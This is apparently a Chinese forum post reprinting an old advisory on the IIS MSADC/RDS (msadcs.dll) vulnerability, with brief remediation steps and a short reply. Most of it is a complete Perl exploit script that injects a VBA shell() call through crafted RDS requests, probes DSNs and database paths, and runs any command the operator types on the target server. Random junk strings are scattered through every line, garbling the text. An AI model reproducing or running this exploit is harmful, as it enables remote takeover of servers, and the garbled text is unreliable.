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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 'GrRuT<  
h^['rmd  
涉及程序: ;rNd701p"  
Microsoft NT server ` !zQ  
"w;08TX8  
描述: M_tj7Q3 W  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 vAi"$e  
3|q2rA  
详细: 86/.8  
如果你没有时间读详细内容的话,就删除: e-~hS6p(  
c:\Program Files\Common Files\System\Msadc\msadcs.dll lxm*;?j`W  
有关的安全问题就没有了。 Er`TryN|}  
nARxn#<+  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 XQK^$Iq]V  
A)OdQFet(  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 fG<Dhz@  
关于利用ODBC远程漏洞的描述,请参看: 9Kc0&?q@D  
+VwV5iy[`  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm h{\t*U 54'  
D`V6&_. p  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 +z+ F-  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp a4%`"  
'^hsH1  
这里不再论述。 k - FB  
E yd$fcRK  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: @o`sf-8x  
n.@#rBKZ  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset K-Re"zsz  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 3 *G5F}7%=  
$6W3EOl  
5n:nZ_D  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Og +)J9#  
_jW>dU^B  
#!perl  Kr S  
# iA]DE`S  
# MSADC/RDS 'usage' (aka exploit) script VXiui'/(  
# >A<Df  
# by rain.forest.puppy 5Wo5 n7o  
# lHcA j{6  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Cb4_ ?OR0  
# beta test and find errors! 00"CC  
^1R"7h  
use Socket; use Getopt::Std; AH|Y<\  
getopts("e:vd:h:XR", \%args); sp^Wo7&g  
I,]J=xi  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; <Kg2$lu(_`  
'(tj[&aL  
if (!defined $args{h} && !defined $args{R}) { D'<$ g  
print qq~ "3wv:BL  
Usage: msadc.pl -h <host> { -d <delay> -X -v } W8y$ Ve8m  
-h <host> = host you want to scan (ip or domain) \Y+")  
-d <seconds> = delay between calls, default 1 second Y|_O8[  
-X = dump Index Server path table, if available >:%BNeO  
-v = verbose 02(h={  
-e = external dictionary file for step 5 lirNYJ]tO  
!W~QT}  
Or a -R will resume a command session ,[Ag~.T  
1& |  
~; exit;} =PZWS& (L  
pcnl0o~  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; oXdel Ju?  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} =MxpH+spI  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} j|mv+O  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); !3@{U@*Z]  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} v$;@0t:;#  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ,m:L2 -J@  
O>%$q8x@i  
if (!defined $args{R}){ $ret = &has_msadc; ~;8I5Sge  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} x}|+sS,g  
FfG%C>E6~  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" V 9Hl1\j^  
. "cmd /c "; .;g}%C  
$in=<STDIN>; chomp $in; Lc%xc`n8B  
$command="cmd /c " . $in ; rI>LjHP  
y6FKg)  
if (defined $args{R}) {&load; exit;} )b9_C O}  
r8,om^N6  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 4gb'7'  
&try_btcustmr; Y& 5.9 s@'  
YQ7@D]#  
print "\nStep 2: Trying to make our own DSN..."; zqf[Z3  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; e1UITjy  
f3 vF"O  
print "\nStep 3: Trying known DSNs..."; BPewc9RxV  
&known_dsn; ^KbL ,T  
v%nP*i9  
print "\nStep 4: Trying known .mdbs..."; $''UlWK  
&known_mdb; 1x{kl01m%  
_C$X04bU3V  
if (defined $args{e}){ G,|KL" H6  
print "\nStep 5: Trying dictionary of DSN names..."; #A )Ab%r8"  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 7]Rk+q2:  
-=mwy  
print "Sorry Charley...maybe next time?\n"; VE$t%QT  
exit; 6@YH#{~Zpv  
g YUTt  
############################################################################## 7 >bMzdH  
"mA1H]r3  
sub sendraw { # ripped and modded from whisker (;ADW+.`J  
sleep($delay); # it's a DoS on the server! At least on mine... {OP~8e"  
my ($pstr)=@_; 'yr{^Pek  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 1qZG`Vz  
die("Socket problems\n"); NO4Z"3Pd_  
if(connect(S,pack "SnA4x8",2,80,$target)){ O:YJ%;w  
select(S); $|=1; ZLrHZhP-+  
print $pstr; my @in=<S>; GW/WUzK  
select(STDOUT); close(S); r]T0+oQ>  
return @in; T,OS0;7O  
} else { die("Can't connect...\n"); }} ]]PE#DDg  
\z:<DsQ&  
############################################################################## CN\=9Rvs  
O|e}   
sub make_header { # make the HTTP request x*q35K^PE  
my $msadc=<<EOT E-SG8U;  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 `tVy_/3(9  
User-Agent: ACTIVEDATA b 4OnZ;FI  
Host: $ip ^{[[Z.&R?  
Content-Length: $clen ;_N5>3C:  
Connection: Keep-Alive aq$q ~,E  
p[qg&VKB  
ADCClientVersion:01.06 yWY|]Pp  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 J>h;_jA  
M*`hDdS  
--!ADM!ROX!YOUR!WORLD! 6 64q~_@B1  
Content-Type: application/x-varg $r15gfne>  
Content-Length: $reqlen F0.zi>5  
(w$'o*z;(  
EOT ;==j|/ERe  
; $msadc=~s/\n/\r\n/g; cmDT +$s  
return $msadc;} +`}o,z/^  
D/:3R ZF  
############################################################################## %*K;np-q{  
YtYy zX5u7  
sub make_req { # make the RDS request 5g0_WpO  
my ($switch, $p1, $p2)=@_; n&d/?aJ7a\  
my $req=""; my $t1, $t2, $query, $dsn; Nog(VN4I&  
{[^#h|U  
if ($switch==1){ # this is the btcustmr.mdb query Nfb`YU=  
$query="Select * from Customers where City=" . make_shell(); X-/Ban  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . bVK$.*,  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} A[JM4x   
ir&.Z5=  
elsif ($switch==2){ # this is general make table query "DpKrVuG  
$query="create table AZZ (B int, C varchar(10))"; yU_9a[$V  
$dsn="$p1";} L~&" aF/b  
,LUTHWEo"I  
elsif ($switch==3){ # this is general exploit table query k|B2@{  
$query="select * from AZZ where C=" . make_shell(); -oh7d$~  
$dsn="$p1";} j^ EbO3  
qm%nIU \*  
elsif ($switch==4){ # attempt to hork file info from index server m~>@BCn;  
$query="select path from scope()"; [W;[v<E;  
$dsn="Provider=MSIDXS;";} J?D\$u:  
1;&T^Gdj  
elsif ($switch==5){ # bad query tX?J@+  
$query="select"; |GuEGmR  
$dsn="$p1";} XwPx9+b6j  
 hY=I5[*  
$t1= make_unicode($query); n9] ~  
$t2= make_unicode($dsn); %VJW@S>j/  
$req = "\x02\x00\x03\x00"; BX3lP v  
$req.= "\x08\x00" . pack ("S1", length($t1)); i0ybJOa4  
$req.= "\x00\x00" . $t1 ; LNiS`o\  
$req.= "\x08\x00" . pack ("S1", length($t2)); a.,_4;'UE1  
$req.= "\x00\x00" . $t2 ; +)gB9DoK  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; I7G,`h+H  
return $req;} xZ+]QDKC  
_B$"e[:yX  
############################################################################## =bL{i&&  
l &Z(K,6  
sub make_shell { # this makes the shell() statement 0p3vE,pF  
return "'|shell(\"$command\")|'";} '{VM> Q  
ea~i-7  
############################################################################## d+5:Qrr  
Kz[BB@[  
sub make_unicode { # quick little function to convert to unicode #{,h@g}W  
my ($in)=@_; my $out; #ZTLrq5b  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } _]o5R7[MQ  
return $out;} rBfg*r`)  
Pz`hX$  
############################################################################## \]8i}E1  
hk;bk?:m  
sub rdo_success { # checks for RDO return success (this is kludge) *h:kmT  
my (@in) = @_; my $base=content_start(@in); zYr z08PJ  
if($in[$base]=~/multipart\/mixed/){ D9o*8h2$  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} qjLo&2)  
return 0;} _6rKC*Pe1  
bU+9Gi@v  
############################################################################## h=[-Er'B  
xa#gWIP*  
sub make_dsn { # this makes a DSN for us QJSr:dP4dG  
my @drives=("c","d","e","f"); (\vXA4Oa,  
print "\nMaking DSN: "; . r `[  
foreach $drive (@drives) { euZ I`*0  
print "$drive: "; -3vh!JMN  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . x+^Vg3 q  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ,sI35I J  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); $?f]ZyZr.  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; %6i=lyH-  
return 0 if $2 eq "404"; # not found/doesn't exist 5~l2!PY  
if($2 eq "200") { PEzia}m  
foreach $line (@results) { gZ`DT  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} `bqzg  
} return 0;} 7$_ :sJ  
wd+O5Lr.R  
############################################################################## .bfST.OA  
H,|YLKg-|  
sub verify_exists { b:Dg}  
my ($page)=@_; / O)6iJ  
my @results=sendraw("GET $page HTTP/1.0\n\n"); sHsg_6~  
return $results[0];} %wW'!p-<  
>'Hx1;  
############################################################################## -u~eZ?(!Ye  
/qXzOd  
sub try_btcustmr { z2~87fv+  
my @drives=("c","d","e","f"); 0;cuX@A/a?  
my @dirs=("winnt","winnt35","winnt351","win","windows"); bNs[O22  
%?dE{ir  
foreach $dir (@dirs) { e5OVq ,  
print "$dir -> "; # fun status so you can see progress *"T+G*~  
foreach $drive (@drives) { {US>)I  
print "$drive: "; # ditto !*bdG(pK  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; j_c+.iET  
$reqlenlen=length( "$reqlen" ); `M]BhW)  
$clen= 206 + $reqlenlen + $reqlen; vgAFuQi(  
5/(sjMB  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); a_%>CD${t  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} B5`;MQJ  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Yxq j -   
!I7?  
############################################################################## ~U%j{8uH  
OG}KqG!n  
sub odbc_error { ,`)OEI|1d  
my (@in)=@_; my $base; kf K[u/<i  
my $base = content_start(@in); :rmauKR  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 4(|yD;  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 0BDS_Rx  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; pVz*ZQ[]  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; PWG;&ma  
return $in[$base+4].$in[$base+5].$in[$base+6];} 7LdzZS0OM  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; H:MUNc8i  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . }4KW@L[g  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} zbg+6qs})  
8Fx]koP.  
############################################################################## mu>] 9ZW  
UR,?!rJ^B  
sub verbose { ^U{P3 %uZ  
my ($in)=@_; @,Jb7V<  
return if !$verbose; vX.]hp5~  
print STDOUT "\n$in\n";} 2@ *<9-9  
Tzf$*Uje3  
############################################################################## yxY h?ka  
vv* |F  
sub save { |D+p$^L  
my ($p1, $p2, $p3, $p4)=@_; Ays L-sqR  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; R8ZD#,;  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; D6:DrA:  
close OUT;} kQ[Jo%YT?E  
I4:rie\hjC  
############################################################################## _.-#E$6s#q  
N'a?wBBR  
sub load { tWX7dspx/  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; wPQ&Di*X}  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ^XNw$@&',  
@p=<IN>; close(IN); -;ER`Jqs,  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); z L8J`W  
$target= inet_aton($ip) || die("inet_aton problems"); X2{`l8%Ek  
print "Resuming to $ip ..."; e# <4/FR  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; )w3 ,   
if($p[1]==1) { D}Au6  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;  +Lhe,  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; PJ;.31u  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); W1`Dx(g  
if (rdo_success(@results)){print "Success!\n";} B'#4;R!8P=  
else { print "failed\n"; verbose(odbc_error(@results));}} pJocI_v9  
elsif ($p[1]==3){ ->3uOF!q  
if(run_query("$p[3]")){ T+(M8 qb  
print "Success!\n";} else { print "failed\n"; }} +K&?)?/=  
elsif ($p[1]==4){ *?p ^6vO  
if(run_query($drvst . "$p[3]")){ [9J:bD  
print "Success!\n"; } else { print "failed\n"; }} r;'i<t{P  
exit;} sX!3_ '-  
Wt"ww~h`(  
############################################################################## }pK v.  
Q!`)e@r  
sub create_table { XJ O[[G`  
my ($in)=@_; nfa_8  
$reqlen=length( make_req(2,$in,"") ) - 28; '(TmV#3  
$reqlenlen=length( "$reqlen" ); ?N`qLGRm  
$clen= 206 + $reqlenlen + $reqlen; cB<O.@  
my @results=sendraw(make_header() . make_req(2,$in,"")); |zh +  
return 1 if rdo_success(@results); eX@ v7i,}  
my $temp= odbc_error(@results); verbose($temp); "&Gw1.p  
return 1 if $temp=~/Table 'AZZ' already exists/; U Q)!|@&  
return 0;} R~$hWu}}  
HS(U4   
############################################################################## F:S"gRKz  
G"{4'LlA  
sub known_dsn { \Vz,wy%-  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 2'Y{FY_Z  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", PY2[ S[  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", a^(2q{*  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); n 3h^VQ*]G  
{N "*olx  
foreach $dSn (@dsns) { 7MoR9,(  
print "."; }|SIHz!R  
next if (!is_access("DSN=$dSn")); "% SX@  
if(create_table("DSN=$dSn")){  w"BIv9N  
print "$dSn successful\n"; X8i[fk1.R  
if(run_query("DSN=$dSn")){ C/bxfp{?  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { B#QL M^  
print "Something's borked. Use verbose next time\n";}}} print "\n";} b]"2 VN  
k?< i*;7  
############################################################################## ma1 (EJ/  
#s*k| j}  
sub is_access { }iMXXXBOT  
my ($in)=@_; K[e`t%2_  
$reqlen=length( make_req(5,$in,"") ) - 28; xUIvLH=  
$reqlenlen=length( "$reqlen" ); `t%|.=R  
$clen= 206 + $reqlenlen + $reqlen; e~3]/BL  
my @results=sendraw(make_header() . make_req(5,$in,"")); @`5QG2  
my $temp= odbc_error(@results); |^ ?`Q.|c$  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); <>VID E  
return 0;} Qg[heND  
b$dBV}0 L  
##############################################################################  8>ESD}(  
xC'mPcU8  
sub run_query { t?KUK>>w  
my ($in)=@_; ::v;)VdX+*  
$reqlen=length( make_req(3,$in,"") ) - 28; - Sx0qi'%  
$reqlenlen=length( "$reqlen" ); aXX,Zu^  
$clen= 206 + $reqlenlen + $reqlen; o T:j:n  
my @results=sendraw(make_header() . make_req(3,$in,"")); 1k$2LQ  
return 1 if rdo_success(@results); z/)$D  
my $temp= odbc_error(@results); verbose($temp); ]F !'M  
return 0;} )ni"qv~J  
u IAZo;  
############################################################################## DQ%`v =  
c!.=%QY  
sub known_mdb { K4_~ruhr  
my @drives=("c","d","e","f","g"); N`f!D>b:dn  
my @dirs=("winnt","winnt35","winnt351","win","windows"); c$.UE  
my $dir, $drive, $mdb; FMoJ"6Q  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; SwyaYK  
F ~*zC`>Y  
# this is sparse, because I don't know of many p@vpd  
my @sysmdbs=( "\\catroot\\icatalog.mdb", " 98/HzR  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", u$apH{  
"\\system32\\certmdb.mdb", %B[YtWqm`/  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% :wFb5"  
,?Ok[G!cm  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", TFNUv<>X  
"\\cfusion\\cfapps\\forums\\forums_.mdb", d:A\<F  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", +d.u##$  
"\\cfusion\\cfapps\\security\\realm_.mdb", _L8Mpx*E  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", W&HF?w}s  
"\\cfusion\\database\\cfexamples.mdb", uPI v/&HA  
"\\cfusion\\database\\cfsnippets.mdb", K/!/M%GB6  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", lB=(8.  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ,;9ak-$8p  
"\\cfusion\\brighttiger\\database\\cleam.mdb", m"5{D*|  
"\\cfusion\\database\\smpolicy.mdb", ~u};XhZ  
"\\cfusion\\database\cypress.mdb", sq6>DuBZz  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", T@B"BoKU  
"\\website\\cgi-win\\dbsample.mdb", 7We?P,A\;  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Tw2Xe S  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" C_6GOpl  
); #these are just cR,'o'V/  
foreach $drive (@drives) { 65'`uuPx  
foreach $dir (@dirs){ 8FAT(f//.  
foreach $mdb (@sysmdbs) { ^!q 08`0  
print "."; eVJ= .?r  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ NKRaQ r  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; X'YfjbGo  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ qsD?dHi7  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; !>CE(;E>z  
} else { print "Something's borked. Use verbose next time\n"; }}}}} V+Y|4Y&  
R 4DM_ u  
foreach $drive (@drives) { XPar_8I  
foreach $mdb (@mdbs) { )C'G2RV  
print "."; X7t 5b7  
if(create_table($drv . $drive . $dir . $mdb)){ TFAYVK~  
print "\n" . $drive . $dir . $mdb . " successful\n"; ~D<7W4c  
if(run_query($drv . $drive . $dir . $mdb)){ E%-Pyg*  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 3yeK@>C  
} else { print "Something's borked. Use verbose next time\n"; }}}} ;gZwQ6)i  
} 2b; rr  
CW.&Y?>Tv  
############################################################################## ,Y`'myL8W  
xeJ9H~^  
sub hork_idx { !x`;>0  
print "\nAttempting to dump Index Server tables...\n"; ,O$Z,J4VL  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; );0<Odw%.  
$reqlen=length( make_req(4,"","") ) - 28; d\v$%0  
$reqlenlen=length( "$reqlen" ); qlz( W  
$clen= 206 + $reqlenlen + $reqlen; <FCj)CP%  
my @results=sendraw2(make_header() . make_req(4,"","")); suA+8}o]  
if (rdo_success(@results)){ :({-0&&_  
my $max=@results; my $c; my %d; }rO?5  
for($c=19; $c<$max; $c++){ yTzY?  
$results[$c]=~s/\x00//g; q >Q:X3  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; k\sc }z8X  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; qFV;n6&V  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; lc\>DH\n6  
$d{"$1$2"}="";} ;n% ]*v  
foreach $c (keys %d){ print "$c\n"; } TX< e_[$\  
} else {print "Index server doesn't seem to be installed.\n"; }} t#fs:A7P?}  
Xg|8".B)A  
############################################################################## 17J}uXA   
2z'+1+B'  
sub dsn_dict { %4bO_vb<9  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); LXBbz;vYl  
while(<IN>){ #JK;& Dg!  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 8 m%>:}o  
next if (!is_access("DSN=$dSn")); yd7lcb [  
if(create_table("DSN=$dSn")){ p:DL:^zx  
print "$dSn successful\n"; Y}AmX  
if(run_query("DSN=$dSn")){ ap Fs UsE  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Gg 7Wm L  
print "Something's borked. Use verbose next time\n";}}} jA20c(O  
print "\n"; close(IN);} y0/WA4,  
"6NFe!/Y$*  
############################################################################## Dj-\))L  
o0zc}mm  
sub sendraw2 { # ripped and modded from whisker ;cM8EU^.  
sleep($delay); # it's a DoS on the server! At least on mine... 1x~%Ydy  
my ($pstr)=@_; $sA,$x:^xI  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 8[6ny=S`  
die("Socket problems\n"); >2l13^Y  
if(connect(S,pack "SnA4x8",2,80,$target)){ l.__10{  
print "Connected. Getting data"; g*:ae;GP  
open(OUT,">raw.out"); my @in; Q'n(^tbL  
select(S); $|=1; print $pstr; W?*Xy6",JF  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} -X"5G  
close(OUT); select(STDOUT); close(S); return @in; pFpQ\xc9$  
} else { die("Can't connect...\n"); }} t_[M &  
[}W^4,  
############################################################################## -/ (DP x  
_hAj2%SL  
sub content_start { # this will take in the server headers Ze [g0"  
my (@in)=@_; my $c; eT7!a']x  
for ($c=1;$c<500;$c++) { m#5|J@]  
if($in[$c] =~/^\x0d\x0a/){ Wrf^O2  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } <7_ |Q   
else { return $c+1; }}} &+)+5z_d  
return -1;} # it should never get here actually /3CHE8nSh  
blKDQ~T2  
############################################################################## ]jVIpGM  
VxUvvJ{-v  
sub funky { Jcwh|w9D8  
my (@in)=@_; my $error=odbc_error(@in); _aXP ;kFMi  
if($error=~/ADO could not find the specified provider/){ @{J!6YGh  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; SY!`a:It  
exit;} hj^G} 4  
if($error=~/A Handler is required/){ ]p4`7@@)*  
print "\nServer has custom handler filters (they most likely are patched)\n"; -Z`(? k  
exit;} >,w\lf9  
if($error=~/specified Handler has denied Access/){ B$}wF<`k7  
print "\nServer has custom handler filters (they most likely are patched)\n"; Q%,o8E2~  
exit;}} kcq9p2zKv  
A&NC0K}G!  
############################################################################## o 1 hdO  
J[j/aDdP  
sub has_msadc { p=8M0k  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); _Ewy^;S%L  
my $base=content_start(@results); p\\P50(-  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Xm"w,J&  
return 0;} 5t"bCzp  
X7XCZSh#A  
######################## zer&`Vr  
m6~ sKJV  
(c|$+B^*  
解决方案: Jf %!I  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ,mO(!D  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Q>SPV8s   
~,1-$#R  
拿出来充数 哈哈
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